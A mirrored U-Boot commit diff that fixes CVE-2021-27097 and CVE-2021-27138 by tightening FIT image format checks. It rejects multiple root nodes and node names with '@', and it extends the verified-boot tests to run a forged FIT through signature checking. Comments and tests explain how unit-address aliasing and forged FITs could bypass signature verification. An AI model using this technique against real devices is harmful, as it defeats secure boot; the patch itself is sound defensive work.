mirror of
https://github.com/AsahiLinux/u-boot
synced 2024-11-26 06:30:39 +00:00
Merge branch '2021-02-15-fix-CVE-2021-27097-CVE-2021-27138'
Fix CVE-2021-27097 and CVE-2021-27138. For more details see http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27097 and http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27138
This commit is contained in:
commit
b6f4c75795
27 changed files with 780 additions and 100 deletions
|
@ -317,7 +317,7 @@ __weak bool sec_firmware_is_valid(const void *sec_firmware_img)
|
|||
return false;
|
||||
}
|
||||
|
||||
if (!fit_check_format(sec_firmware_img)) {
|
||||
if (fit_check_format(sec_firmware_img, IMAGE_SIZE_INVAL)) {
|
||||
printf("SEC Firmware: Bad firmware image (bad FIT header)\n");
|
||||
return false;
|
||||
}
|
||||
|
|
|
@ -73,7 +73,7 @@ void efi_set_bootdev(const char *dev, const char *devnr, const char *path,
|
|||
/* Remember only PE-COFF and FIT images */
|
||||
if (efi_check_pe(buffer, buffer_size, NULL) != EFI_SUCCESS) {
|
||||
#ifdef CONFIG_FIT
|
||||
if (!fit_check_format(buffer))
|
||||
if (fit_check_format(buffer, IMAGE_SIZE_INVAL))
|
||||
return;
|
||||
/*
|
||||
* FIT images of type EFI_OS are started via command bootm.
|
||||
|
|
|
@ -292,7 +292,7 @@ static int image_info(ulong addr)
|
|||
case IMAGE_FORMAT_FIT:
|
||||
puts(" FIT image found\n");
|
||||
|
||||
if (!fit_check_format(hdr)) {
|
||||
if (fit_check_format(hdr, IMAGE_SIZE_INVAL)) {
|
||||
puts("Bad FIT image format!\n");
|
||||
unmap_sysmem(hdr);
|
||||
return 1;
|
||||
|
@ -369,7 +369,7 @@ static int do_imls_nor(void)
|
|||
#endif
|
||||
#if defined(CONFIG_FIT)
|
||||
case IMAGE_FORMAT_FIT:
|
||||
if (!fit_check_format(hdr))
|
||||
if (fit_check_format(hdr, IMAGE_SIZE_INVAL))
|
||||
goto next_sector;
|
||||
|
||||
printf("FIT Image at %08lX:\n", (ulong)hdr);
|
||||
|
@ -449,7 +449,7 @@ static int nand_imls_fitimage(struct mtd_info *mtd, int nand_dev, loff_t off,
|
|||
return ret;
|
||||
}
|
||||
|
||||
if (!fit_check_format(imgdata)) {
|
||||
if (fit_check_format(imgdata, IMAGE_SIZE_INVAL)) {
|
||||
free(imgdata);
|
||||
return 0;
|
||||
}
|
||||
|
|
|
@ -114,7 +114,7 @@ int common_diskboot(struct cmd_tbl *cmdtp, const char *intf, int argc,
|
|||
/* This cannot be done earlier,
|
||||
* we need complete FIT image in RAM first */
|
||||
if (genimg_get_format((void *) addr) == IMAGE_FORMAT_FIT) {
|
||||
if (!fit_check_format(fit_hdr)) {
|
||||
if (fit_check_format(fit_hdr, IMAGE_SIZE_INVAL)) {
|
||||
bootstage_error(BOOTSTAGE_ID_IDE_FIT_READ);
|
||||
puts("** Bad FIT image format\n");
|
||||
return 1;
|
||||
|
|
|
@ -330,7 +330,7 @@ static int do_fpga_loadmk(struct cmd_tbl *cmdtp, int flag, int argc,
|
|||
return CMD_RET_FAILURE;
|
||||
}
|
||||
|
||||
if (!fit_check_format(fit_hdr)) {
|
||||
if (fit_check_format(fit_hdr, IMAGE_SIZE_INVAL)) {
|
||||
puts("Bad FIT image format\n");
|
||||
return CMD_RET_FAILURE;
|
||||
}
|
||||
|
|
|
@ -917,7 +917,7 @@ static int nand_load_image(struct cmd_tbl *cmdtp, struct mtd_info *mtd,
|
|||
#if defined(CONFIG_FIT)
|
||||
/* This cannot be done earlier, we need complete FIT image in RAM first */
|
||||
if (genimg_get_format ((void *)addr) == IMAGE_FORMAT_FIT) {
|
||||
if (!fit_check_format (fit_hdr)) {
|
||||
if (fit_check_format(fit_hdr, IMAGE_SIZE_INVAL)) {
|
||||
bootstage_error(BOOTSTAGE_ID_NAND_FIT_READ);
|
||||
puts ("** Bad FIT image format\n");
|
||||
return 1;
|
||||
|
|
|
@ -107,7 +107,7 @@ int image_source_script(ulong addr, const char *fit_uname)
|
|||
#if defined(CONFIG_FIT)
|
||||
case IMAGE_FORMAT_FIT:
|
||||
fit_hdr = buf;
|
||||
if (!fit_check_format (fit_hdr)) {
|
||||
if (fit_check_format(fit_hdr, IMAGE_SIZE_INVAL)) {
|
||||
puts ("Bad FIT image format\n");
|
||||
return 1;
|
||||
}
|
||||
|
|
|
@ -136,7 +136,7 @@ do_imgextract(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
|
|||
"at %08lx ...\n", uname, addr);
|
||||
|
||||
fit_hdr = (const void *)addr;
|
||||
if (!fit_check_format(fit_hdr)) {
|
||||
if (fit_check_format(fit_hdr, IMAGE_SIZE_INVAL)) {
|
||||
puts("Bad FIT image format\n");
|
||||
return 1;
|
||||
}
|
||||
|
|
|
@ -63,6 +63,15 @@ config FIT_ENABLE_SHA512_SUPPORT
|
|||
SHA512 checksum is a 512-bit (64-byte) hash value used to check that
|
||||
the image contents have not been corrupted.
|
||||
|
||||
config FIT_FULL_CHECK
|
||||
bool "Do a full check of the FIT before using it"
|
||||
default y
|
||||
help
|
||||
Enable this do a full check of the FIT to make sure it is valid. This
|
||||
helps to protect against carefully crafted FITs which take advantage
|
||||
of bugs or omissions in the code. This includes a bad structure,
|
||||
multiple root nodes and the like.
|
||||
|
||||
config FIT_SIGNATURE
|
||||
bool "Enable signature verification of FIT uImages"
|
||||
depends on DM
|
||||
|
@ -70,6 +79,7 @@ config FIT_SIGNATURE
|
|||
select RSA
|
||||
select RSA_VERIFY
|
||||
select IMAGE_SIGN_INFO
|
||||
select FIT_FULL_CHECK
|
||||
help
|
||||
This option enables signature verification of FIT uImages,
|
||||
using a hash signed and verified using RSA. If
|
||||
|
@ -159,6 +169,15 @@ config SPL_FIT_PRINT
|
|||
help
|
||||
Support printing the content of the fitImage in a verbose manner in SPL.
|
||||
|
||||
config SPL_FIT_FULL_CHECK
|
||||
bool "Do a full check of the FIT before using it"
|
||||
help
|
||||
Enable this do a full check of the FIT to make sure it is valid. This
|
||||
helps to protect against carefully crafted FITs which take advantage
|
||||
of bugs or omissions in the code. This includes a bad structure,
|
||||
multiple root nodes and the like.
|
||||
|
||||
|
||||
config SPL_FIT_SIGNATURE
|
||||
bool "Enable signature verification of FIT firmware within SPL"
|
||||
depends on SPL_DM
|
||||
|
@ -168,6 +187,7 @@ config SPL_FIT_SIGNATURE
|
|||
select SPL_RSA
|
||||
select SPL_RSA_VERIFY
|
||||
select SPL_IMAGE_SIGN_INFO
|
||||
select SPL_FIT_FULL_CHECK
|
||||
|
||||
config SPL_LOAD_FIT
|
||||
bool "Enable SPL loading U-Boot as a FIT (basic fitImage features)"
|
||||
|
|
|
@ -43,6 +43,7 @@ int fdt_find_regions(const void *fdt, char * const inc[], int inc_count,
|
|||
int depth = -1;
|
||||
int want = 0;
|
||||
int base = fdt_off_dt_struct(fdt);
|
||||
bool expect_end = false;
|
||||
|
||||
end = path;
|
||||
*end = '\0';
|
||||
|
@ -59,6 +60,10 @@ int fdt_find_regions(const void *fdt, char * const inc[], int inc_count,
|
|||
tag = fdt_next_tag(fdt, offset, &nextoffset);
|
||||
stop_at = nextoffset;
|
||||
|
||||
/* If we see two root nodes, something is wrong */
|
||||
if (expect_end && tag != FDT_END)
|
||||
return -FDT_ERR_BADLAYOUT;
|
||||
|
||||
switch (tag) {
|
||||
case FDT_PROP:
|
||||
include = want >= 2;
|
||||
|
@ -81,6 +86,10 @@ int fdt_find_regions(const void *fdt, char * const inc[], int inc_count,
|
|||
if (depth == FDT_MAX_DEPTH)
|
||||
return -FDT_ERR_BADSTRUCTURE;
|
||||
name = fdt_get_name(fdt, offset, &len);
|
||||
|
||||
/* The root node must have an empty name */
|
||||
if (!depth && *name)
|
||||
return -FDT_ERR_BADLAYOUT;
|
||||
if (end - path + 2 + len >= path_len)
|
||||
return -FDT_ERR_NOSPACE;
|
||||
if (end != path + 1)
|
||||
|
@ -108,6 +117,8 @@ int fdt_find_regions(const void *fdt, char * const inc[], int inc_count,
|
|||
while (end > path && *--end != '/')
|
||||
;
|
||||
*end = '\0';
|
||||
if (depth == -1)
|
||||
expect_end = true;
|
||||
break;
|
||||
|
||||
case FDT_END:
|
||||
|
|
|
@ -400,7 +400,7 @@ int boot_get_fdt(int flag, int argc, char *const argv[], uint8_t arch,
|
|||
*/
|
||||
#if CONFIG_IS_ENABLED(FIT)
|
||||
/* check FDT blob vs FIT blob */
|
||||
if (fit_check_format(buf)) {
|
||||
if (!fit_check_format(buf, IMAGE_SIZE_INVAL)) {
|
||||
ulong load, len;
|
||||
|
||||
fdt_noffset = boot_get_fdt_fit(images,
|
||||
|
|
|
@ -149,6 +149,14 @@ static int fit_image_verify_sig(const void *fit, int image_noffset,
|
|||
fdt_for_each_subnode(noffset, fit, image_noffset) {
|
||||
const char *name = fit_get_name(fit, noffset, NULL);
|
||||
|
||||
/*
|
||||
* We don't support this since libfdt considers names with the
|
||||
* name root but different @ suffix to be equal
|
||||
*/
|
||||
if (strchr(name, '@')) {
|
||||
err_msg = "Node name contains @";
|
||||
goto error;
|
||||
}
|
||||
if (!strncmp(name, FIT_SIG_NODENAME,
|
||||
strlen(FIT_SIG_NODENAME))) {
|
||||
ret = fit_image_check_sig(fit, noffset, data,
|
||||
|
@ -398,9 +406,10 @@ error:
|
|||
return -EPERM;
|
||||
}
|
||||
|
||||
int fit_config_verify_required_sigs(const void *fit, int conf_noffset,
|
||||
const void *sig_blob)
|
||||
static int fit_config_verify_required_sigs(const void *fit, int conf_noffset,
|
||||
const void *sig_blob)
|
||||
{
|
||||
const char *name = fit_get_name(fit, conf_noffset, NULL);
|
||||
int noffset;
|
||||
int sig_node;
|
||||
int verified = 0;
|
||||
|
@ -408,6 +417,15 @@ int fit_config_verify_required_sigs(const void *fit, int conf_noffset,
|
|||
bool reqd_policy_all = true;
|
||||
const char *reqd_mode;
|
||||
|
||||
/*
|
||||
* We don't support this since libfdt considers names with the
|
||||
* name root but different @ suffix to be equal
|
||||
*/
|
||||
if (strchr(name, '@')) {
|
||||
printf("Configuration node '%s' contains '@'\n", name);
|
||||
return -EPERM;
|
||||
}
|
||||
|
||||
/* Work out what we need to verify */
|
||||
sig_node = fdt_subnode_offset(sig_blob, 0, FIT_SIG_NODENAME);
|
||||
if (sig_node < 0) {
|
||||
|
|
|
@ -8,6 +8,8 @@
|
|||
* Wolfgang Denk, DENX Software Engineering, wd@denx.de.
|
||||
*/
|
||||
|
||||
#define LOG_CATEGORY LOGC_BOOT
|
||||
|
||||
#ifdef USE_HOSTCC
|
||||
#include "mkimage.h"
|
||||
#include <time.h>
|
||||
|
@ -1369,21 +1371,31 @@ error:
|
|||
*/
|
||||
int fit_image_verify(const void *fit, int image_noffset)
|
||||
{
|
||||
const char *name = fit_get_name(fit, image_noffset, NULL);
|
||||
const void *data;
|
||||
size_t size;
|
||||
int noffset = 0;
|
||||
char *err_msg = "";
|
||||
|
||||
if (strchr(name, '@')) {
|
||||
/*
|
||||
* We don't support this since libfdt considers names with the
|
||||
* name root but different @ suffix to be equal
|
||||
*/
|
||||
err_msg = "Node name contains @";
|
||||
goto err;
|
||||
}
|
||||
/* Get image data and data length */
|
||||
if (fit_image_get_data_and_size(fit, image_noffset, &data, &size)) {
|
||||
err_msg = "Can't get image data/size";
|
||||
printf("error!\n%s for '%s' hash node in '%s' image node\n",
|
||||
err_msg, fit_get_name(fit, noffset, NULL),
|
||||
fit_get_name(fit, image_noffset, NULL));
|
||||
return 0;
|
||||
goto err;
|
||||
}
|
||||
|
||||
return fit_image_verify_with_data(fit, image_noffset, data, size);
|
||||
|
||||
err:
|
||||
printf("error!\n%s in '%s' image node\n", err_msg,
|
||||
fit_get_name(fit, image_noffset, NULL));
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
|
@ -1557,48 +1569,101 @@ int fit_image_check_comp(const void *fit, int noffset, uint8_t comp)
|
|||
}
|
||||
|
||||
/**
|
||||
* fit_check_format - sanity check FIT image format
|
||||
* @fit: pointer to the FIT format image header
|
||||
* fdt_check_no_at() - Check for nodes whose names contain '@'
|
||||
*
|
||||
* fit_check_format() runs a basic sanity FIT image verification.
|
||||
* Routine checks for mandatory properties, nodes, etc.
|
||||
* This checks the parent node and all subnodes recursively
|
||||
*
|
||||
* returns:
|
||||
* 1, on success
|
||||
* 0, on failure
|
||||
* @fit: FIT to check
|
||||
* @parent: Parent node to check
|
||||
* @return 0 if OK, -EADDRNOTAVAIL is a node has a name containing '@'
|
||||
*/
|
||||
int fit_check_format(const void *fit)
|
||||
static int fdt_check_no_at(const void *fit, int parent)
|
||||
{
|
||||
const char *name;
|
||||
int node;
|
||||
int ret;
|
||||
|
||||
name = fdt_get_name(fit, parent, NULL);
|
||||
if (!name || strchr(name, '@'))
|
||||
return -EADDRNOTAVAIL;
|
||||
|
||||
fdt_for_each_subnode(node, fit, parent) {
|
||||
ret = fdt_check_no_at(fit, node);
|
||||
if (ret)
|
||||
return ret;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int fit_check_format(const void *fit, ulong size)
|
||||
{
|
||||
int ret;
|
||||
|
||||
/* A FIT image must be a valid FDT */
|
||||
if (fdt_check_header(fit)) {
|
||||
debug("Wrong FIT format: not a flattened device tree\n");
|
||||
return 0;
|
||||
ret = fdt_check_header(fit);
|
||||
if (ret) {
|
||||
log_debug("Wrong FIT format: not a flattened device tree (err=%d)\n",
|
||||
ret);
|
||||
return -ENOEXEC;
|
||||
}
|
||||
|
||||
if (CONFIG_IS_ENABLED(FIT_FULL_CHECK)) {
|
||||
/*
|
||||
* If we are not given the size, make do wtih calculating it.
|
||||
* This is not as secure, so we should consider a flag to
|
||||
* control this.
|
||||
*/
|
||||
if (size == IMAGE_SIZE_INVAL)
|
||||
size = fdt_totalsize(fit);
|
||||
ret = fdt_check_full(fit, size);
|
||||
if (ret)
|
||||
ret = -EINVAL;
|
||||
|
||||
/*
|
||||
* U-Boot stopped using unit addressed in 2017. Since libfdt
|
||||
* can match nodes ignoring any unit address, signature
|
||||
* verification can see the wrong node if one is inserted with
|
||||
* the same name as a valid node but with a unit address
|
||||
* attached. Protect against this by disallowing unit addresses.
|
||||
*/
|
||||
if (!ret && CONFIG_IS_ENABLED(FIT_SIGNATURE)) {
|
||||
ret = fdt_check_no_at(fit, 0);
|
||||
|
||||
if (ret) {
|
||||
log_debug("FIT check error %d\n", ret);
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
if (ret) {
|
||||
log_debug("FIT check error %d\n", ret);
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
|
||||
/* mandatory / node 'description' property */
|
||||
if (fdt_getprop(fit, 0, FIT_DESC_PROP, NULL) == NULL) {
|
||||
debug("Wrong FIT format: no description\n");
|
||||
return 0;
|
||||
if (!fdt_getprop(fit, 0, FIT_DESC_PROP, NULL)) {
|
||||
log_debug("Wrong FIT format: no description\n");
|
||||
return -ENOMSG;
|
||||
}
|
||||
|
||||
if (IMAGE_ENABLE_TIMESTAMP) {
|
||||
/* mandatory / node 'timestamp' property */
|
||||
if (fdt_getprop(fit, 0, FIT_TIMESTAMP_PROP, NULL) == NULL) {
|
||||
debug("Wrong FIT format: no timestamp\n");
|
||||
return 0;
|
||||
if (!fdt_getprop(fit, 0, FIT_TIMESTAMP_PROP, NULL)) {
|
||||
log_debug("Wrong FIT format: no timestamp\n");
|
||||
return -ENODATA;
|
||||
}
|
||||
}
|
||||
|
||||
/* mandatory subimages parent '/images' node */
|
||||
if (fdt_path_offset(fit, FIT_IMAGES_PATH) < 0) {
|
||||
debug("Wrong FIT format: no images parent node\n");
|
||||
return 0;
|
||||
log_debug("Wrong FIT format: no images parent node\n");
|
||||
return -ENOENT;
|
||||
}
|
||||
|
||||
return 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* fit_conf_find_compat
|
||||
* @fit: pointer to the FIT format image header
|
||||
|
@ -1935,10 +2000,13 @@ int fit_image_load(bootm_headers_t *images, ulong addr,
|
|||
printf("## Loading %s from FIT Image at %08lx ...\n", prop_name, addr);
|
||||
|
||||
bootstage_mark(bootstage_id + BOOTSTAGE_SUB_FORMAT);
|
||||
if (!fit_check_format(fit)) {
|
||||
printf("Bad FIT %s image format!\n", prop_name);
|
||||
ret = fit_check_format(fit, IMAGE_SIZE_INVAL);
|
||||
if (ret) {
|
||||
printf("Bad FIT %s image format! (err=%d)\n", prop_name, ret);
|
||||
if (CONFIG_IS_ENABLED(FIT_SIGNATURE) && ret == -EADDRNOTAVAIL)
|
||||
printf("Signature checking prevents use of unit addresses (@) in nodes\n");
|
||||
bootstage_error(bootstage_id + BOOTSTAGE_SUB_FORMAT);
|
||||
return -ENOEXEC;
|
||||
return ret;
|
||||
}
|
||||
bootstage_mark(bootstage_id + BOOTSTAGE_SUB_FORMAT_OK);
|
||||
if (fit_uname) {
|
||||
|
|
|
@ -337,10 +337,10 @@ static int splash_load_fit(struct splash_location *location, u32 bmp_load_addr)
|
|||
if (res < 0)
|
||||
return res;
|
||||
|
||||
res = fit_check_format(fit_header);
|
||||
if (!res) {
|
||||
res = fit_check_format(fit_header, IMAGE_SIZE_INVAL);
|
||||
if (res) {
|
||||
debug("Could not find valid FIT image\n");
|
||||
return -EINVAL;
|
||||
return res;
|
||||
}
|
||||
|
||||
/* Get the splash image node */
|
||||
|
|
|
@ -286,7 +286,7 @@ int update_tftp(ulong addr, char *interface, char *devstring)
|
|||
got_update_file:
|
||||
fit = map_sysmem(addr, 0);
|
||||
|
||||
if (!fit_check_format((void *)fit)) {
|
||||
if (fit_check_format((void *)fit, IMAGE_SIZE_INVAL)) {
|
||||
printf("Bad FIT format of the update file, aborting "
|
||||
"auto-update\n");
|
||||
return 1;
|
||||
|
@ -363,7 +363,7 @@ int fit_update(const void *fit)
|
|||
if (!fit)
|
||||
return -EINVAL;
|
||||
|
||||
if (!fit_check_format((void *)fit)) {
|
||||
if (fit_check_format((void *)fit, IMAGE_SIZE_INVAL)) {
|
||||
printf("Bad FIT format of the update file, aborting auto-update\n");
|
||||
return -EINVAL;
|
||||
}
|
||||
|
|
|
@ -566,10 +566,10 @@ static int first_loading_rbf_to_buffer(struct udevice *dev,
|
|||
if (ret < 0)
|
||||
return ret;
|
||||
|
||||
ret = fit_check_format(buffer_p);
|
||||
if (!ret) {
|
||||
ret = fit_check_format(buffer_p, IMAGE_SIZE_INVAL);
|
||||
if (ret) {
|
||||
debug("FPGA: No valid FIT image was found.\n");
|
||||
return -EBADF;
|
||||
return ret;
|
||||
}
|
||||
|
||||
confs_noffset = fdt_path_offset(buffer_p, FIT_CONFS_PATH);
|
||||
|
|
|
@ -142,7 +142,7 @@ int parse_mc_firmware_fit_image(u64 mc_fw_addr,
|
|||
return -EINVAL;
|
||||
}
|
||||
|
||||
if (!fit_check_format(fit_hdr)) {
|
||||
if (fit_check_format(fit_hdr, IMAGE_SIZE_INVAL)) {
|
||||
printf("fsl-mc: ERR: Bad firmware image (bad FIT header)\n");
|
||||
return -EINVAL;
|
||||
}
|
||||
|
|
|
@ -160,7 +160,7 @@ static int pfe_fit_check(void)
|
|||
return ret;
|
||||
}
|
||||
|
||||
if (!fit_check_format(pfe_fit_addr)) {
|
||||
if (fit_check_format(pfe_fit_addr, IMAGE_SIZE_INVAL)) {
|
||||
printf("PFE Firmware: Bad firmware image (bad FIT header)\n");
|
||||
ret = -1;
|
||||
return ret;
|
||||
|
|
|
@ -134,6 +134,9 @@ extern ulong image_load_addr; /* Default Load Address */
|
|||
extern ulong image_save_addr; /* Default Save Address */
|
||||
extern ulong image_save_size; /* Default Save Size */
|
||||
|
||||
/* An invalid size, meaning that the image size is not known */
|
||||
#define IMAGE_SIZE_INVAL (-1UL)
|
||||
|
||||
enum ih_category {
|
||||
IH_ARCH,
|
||||
IH_COMP,
|
||||
|
@ -1142,7 +1145,23 @@ int fit_image_check_os(const void *fit, int noffset, uint8_t os);
|
|||
int fit_image_check_arch(const void *fit, int noffset, uint8_t arch);
|
||||
int fit_image_check_type(const void *fit, int noffset, uint8_t type);
|
||||
int fit_image_check_comp(const void *fit, int noffset, uint8_t comp);
|
||||
int fit_check_format(const void *fit);
|
||||
|
||||
/**
|
||||
* fit_check_format() - Check that the FIT is valid
|
||||
*
|
||||
* This performs various checks on the FIT to make sure it is suitable for
|
||||
* use, looking for mandatory properties, nodes, etc.
|
||||
*
|
||||
* If FIT_FULL_CHECK is enabled, it also runs it through libfdt to make
|
||||
* sure that there are no strange tags or broken nodes in the FIT.
|
||||
*
|
||||
* @fit: pointer to the FIT format image header
|
||||
* @return 0 if OK, -ENOEXEC if not an FDT file, -EINVAL if the full FDT check
|
||||
* failed (e.g. due to bad structure), -ENOMSG if the description is
|
||||
* missing, -ENODATA if the timestamp is missing, -ENOENT if the /images
|
||||
* path is missing
|
||||
*/
|
||||
int fit_check_format(const void *fit, ulong size);
|
||||
|
||||
int fit_conf_find_compat(const void *fit, const void *fdt);
|
||||
|
||||
|
|
|
@ -867,6 +867,7 @@ int fdt_check_full(const void *fdt, size_t bufsize)
|
|||
unsigned depth = 0;
|
||||
const void *prop;
|
||||
const char *propname;
|
||||
bool expect_end = false;
|
||||
|
||||
if (bufsize < FDT_V1_SIZE)
|
||||
return -FDT_ERR_TRUNCATED;
|
||||
|
@ -887,6 +888,10 @@ int fdt_check_full(const void *fdt, size_t bufsize)
|
|||
if (nextoffset < 0)
|
||||
return nextoffset;
|
||||
|
||||
/* If we see two root nodes, something is wrong */
|
||||
if (expect_end && tag != FDT_END)
|
||||
return -FDT_ERR_BADLAYOUT;
|
||||
|
||||
switch (tag) {
|
||||
case FDT_NOP:
|
||||
break;
|
||||
|
@ -900,12 +905,24 @@ int fdt_check_full(const void *fdt, size_t bufsize)
|
|||
depth++;
|
||||
if (depth > INT_MAX)
|
||||
return -FDT_ERR_BADSTRUCTURE;
|
||||
|
||||
/* The root node must have an empty name */
|
||||
if (depth == 1) {
|
||||
const char *name;
|
||||
int len;
|
||||
|
||||
name = fdt_get_name(fdt, offset, &len);
|
||||
if (*name || len)
|
||||
return -FDT_ERR_BADLAYOUT;
|
||||
}
|
||||
break;
|
||||
|
||||
case FDT_END_NODE:
|
||||
if (depth == 0)
|
||||
return -FDT_ERR_BADSTRUCTURE;
|
||||
depth--;
|
||||
if (depth == 0)
|
||||
expect_end = true;
|
||||
break;
|
||||
|
||||
case FDT_PROP:
|
||||
|
|
|
@ -17,7 +17,7 @@ base_its = '''
|
|||
#address-cells = <1>;
|
||||
|
||||
images {
|
||||
kernel@1 {
|
||||
kernel-1 {
|
||||
data = /incbin/("%(kernel)s");
|
||||
type = "kernel";
|
||||
arch = "sandbox";
|
||||
|
@ -26,7 +26,7 @@ base_its = '''
|
|||
load = <0x40000>;
|
||||
entry = <0x8>;
|
||||
};
|
||||
kernel@2 {
|
||||
kernel-2 {
|
||||
data = /incbin/("%(loadables1)s");
|
||||
type = "kernel";
|
||||
arch = "sandbox";
|
||||
|
@ -35,19 +35,19 @@ base_its = '''
|
|||
%(loadables1_load)s
|
||||
entry = <0x0>;
|
||||
};
|
||||
fdt@1 {
|
||||
fdt-1 {
|
||||
description = "snow";
|
||||
data = /incbin/("%(fdt)s");
|
||||
type = "flat_dt";
|
||||
arch = "sandbox";
|
||||
%(fdt_load)s
|
||||
compression = "%(compression)s";
|
||||
signature@1 {
|
||||
signature-1 {
|
||||
algo = "sha1,rsa2048";
|
||||
key-name-hint = "dev";
|
||||
};
|
||||
};
|
||||
ramdisk@1 {
|
||||
ramdisk-1 {
|
||||
description = "snow";
|
||||
data = /incbin/("%(ramdisk)s");
|
||||
type = "ramdisk";
|
||||
|
@ -56,7 +56,7 @@ base_its = '''
|
|||
%(ramdisk_load)s
|
||||
compression = "%(compression)s";
|
||||
};
|
||||
ramdisk@2 {
|
||||
ramdisk-2 {
|
||||
description = "snow";
|
||||
data = /incbin/("%(loadables2)s");
|
||||
type = "ramdisk";
|
||||
|
@ -67,10 +67,10 @@ base_its = '''
|
|||
};
|
||||
};
|
||||
configurations {
|
||||
default = "conf@1";
|
||||
conf@1 {
|
||||
kernel = "kernel@1";
|
||||
fdt = "fdt@1";
|
||||
default = "conf-1";
|
||||
conf-1 {
|
||||
kernel = "kernel-1";
|
||||
fdt = "fdt-1";
|
||||
%(ramdisk_config)s
|
||||
%(loadables_config)s
|
||||
};
|
||||
|
@ -410,7 +410,7 @@ def test_fit(u_boot_console):
|
|||
|
||||
# Try a ramdisk
|
||||
with cons.log.section('Kernel + FDT + Ramdisk load'):
|
||||
params['ramdisk_config'] = 'ramdisk = "ramdisk@1";'
|
||||
params['ramdisk_config'] = 'ramdisk = "ramdisk-1";'
|
||||
params['ramdisk_load'] = 'load = <%#x>;' % params['ramdisk_addr']
|
||||
fit = make_fit(mkimage, params)
|
||||
cons.restart_uboot()
|
||||
|
@ -419,7 +419,7 @@ def test_fit(u_boot_console):
|
|||
|
||||
# Configuration with some Loadables
|
||||
with cons.log.section('Kernel + FDT + Ramdisk load + Loadables'):
|
||||
params['loadables_config'] = 'loadables = "kernel@2", "ramdisk@2";'
|
||||
params['loadables_config'] = 'loadables = "kernel-2", "ramdisk-2";'
|
||||
params['loadables1_load'] = ('load = <%#x>;' %
|
||||
params['loadables1_addr'])
|
||||
params['loadables2_load'] = ('load = <%#x>;' %
|
||||
|
|
|
@ -24,22 +24,26 @@ For configuration verification:
|
|||
Tests run with both SHA1 and SHA256 hashing.
|
||||
"""
|
||||
|
||||
import shutil
|
||||
import struct
|
||||
import pytest
|
||||
import u_boot_utils as util
|
||||
import vboot_forge
|
||||
import vboot_evil
|
||||
|
||||
# Only run the full suite on a few combinations, since it doesn't add any more
|
||||
# test coverage.
|
||||
TESTDATA = [
|
||||
['sha1', '', None, False],
|
||||
['sha1', '', '-E -p 0x10000', False],
|
||||
['sha1', '-pss', None, False],
|
||||
['sha1', '-pss', '-E -p 0x10000', False],
|
||||
['sha256', '', None, False],
|
||||
['sha256', '', '-E -p 0x10000', False],
|
||||
['sha256', '-pss', None, False],
|
||||
['sha256', '-pss', '-E -p 0x10000', False],
|
||||
['sha256', '-pss', None, True],
|
||||
['sha256', '-pss', '-E -p 0x10000', True],
|
||||
['sha1', '', None, False, True],
|
||||
['sha1', '', '-E -p 0x10000', False, False],
|
||||
['sha1', '-pss', None, False, False],
|
||||
['sha1', '-pss', '-E -p 0x10000', False, False],
|
||||
['sha256', '', None, False, False],
|
||||
['sha256', '', '-E -p 0x10000', False, False],
|
||||
['sha256', '-pss', None, False, False],
|
||||
['sha256', '-pss', '-E -p 0x10000', False, False],
|
||||
['sha256', '-pss', None, True, False],
|
||||
['sha256', '-pss', '-E -p 0x10000', True, True],
|
||||
]
|
||||
|
||||
@pytest.mark.boardspec('sandbox')
|
||||
|
@ -48,8 +52,10 @@ TESTDATA = [
|
|||
@pytest.mark.requiredtool('fdtget')
|
||||
@pytest.mark.requiredtool('fdtput')
|
||||
@pytest.mark.requiredtool('openssl')
|
||||
@pytest.mark.parametrize("sha_algo,padding,sign_options,required", TESTDATA)
|
||||
def test_vboot(u_boot_console, sha_algo, padding, sign_options, required):
|
||||
@pytest.mark.parametrize("sha_algo,padding,sign_options,required,full_test",
|
||||
TESTDATA)
|
||||
def test_vboot(u_boot_console, sha_algo, padding, sign_options, required,
|
||||
full_test):
|
||||
"""Test verified boot signing with mkimage and verification with 'bootm'.
|
||||
|
||||
This works using sandbox only as it needs to update the device tree used
|
||||
|
@ -71,7 +77,7 @@ def test_vboot(u_boot_console, sha_algo, padding, sign_options, required):
|
|||
util.run_and_log(cons, 'dtc %s %s%s -O dtb '
|
||||
'-o %s%s' % (dtc_args, datadir, dts, tmpdir, dtb))
|
||||
|
||||
def run_bootm(sha_algo, test_type, expect_string, boots):
|
||||
def run_bootm(sha_algo, test_type, expect_string, boots, fit=None):
|
||||
"""Run a 'bootm' command U-Boot.
|
||||
|
||||
This always starts a fresh U-Boot instance since the device tree may
|
||||
|
@ -84,11 +90,14 @@ def test_vboot(u_boot_console, sha_algo, padding, sign_options, required):
|
|||
use.
|
||||
boots: A boolean that is True if Linux should boot and False if
|
||||
we are expected to not boot
|
||||
fit: FIT filename to load and verify
|
||||
"""
|
||||
if not fit:
|
||||
fit = '%stest.fit' % tmpdir
|
||||
cons.restart_uboot()
|
||||
with cons.log.section('Verified boot %s %s' % (sha_algo, test_type)):
|
||||
output = cons.run_command_list(
|
||||
['host load hostfs - 100 %stest.fit' % tmpdir,
|
||||
['host load hostfs - 100 %s' % fit,
|
||||
'fdt addr 100',
|
||||
'bootm 100'])
|
||||
assert expect_string in ''.join(output)
|
||||
|
@ -222,18 +231,43 @@ def test_vboot(u_boot_console, sha_algo, padding, sign_options, required):
|
|||
|
||||
util.run_and_log(cons, [fit_check_sign, '-f', fit, '-k', dtb])
|
||||
|
||||
# Make sure that U-Boot checks that the config is in the list of hashed
|
||||
# nodes. If it isn't, a security bypass is possible.
|
||||
with open(fit, 'rb') as fd:
|
||||
root, strblock = vboot_forge.read_fdt(fd)
|
||||
root, strblock = vboot_forge.manipulate(root, strblock)
|
||||
with open(fit, 'w+b') as fd:
|
||||
vboot_forge.write_fdt(root, strblock, fd)
|
||||
util.run_and_log_expect_exception(
|
||||
cons, [fit_check_sign, '-f', fit, '-k', dtb],
|
||||
1, 'Failed to verify required signature')
|
||||
if full_test:
|
||||
# Make sure that U-Boot checks that the config is in the list of
|
||||
# hashed nodes. If it isn't, a security bypass is possible.
|
||||
ffit = '%stest.forged.fit' % tmpdir
|
||||
shutil.copyfile(fit, ffit)
|
||||
with open(ffit, 'rb') as fd:
|
||||
root, strblock = vboot_forge.read_fdt(fd)
|
||||
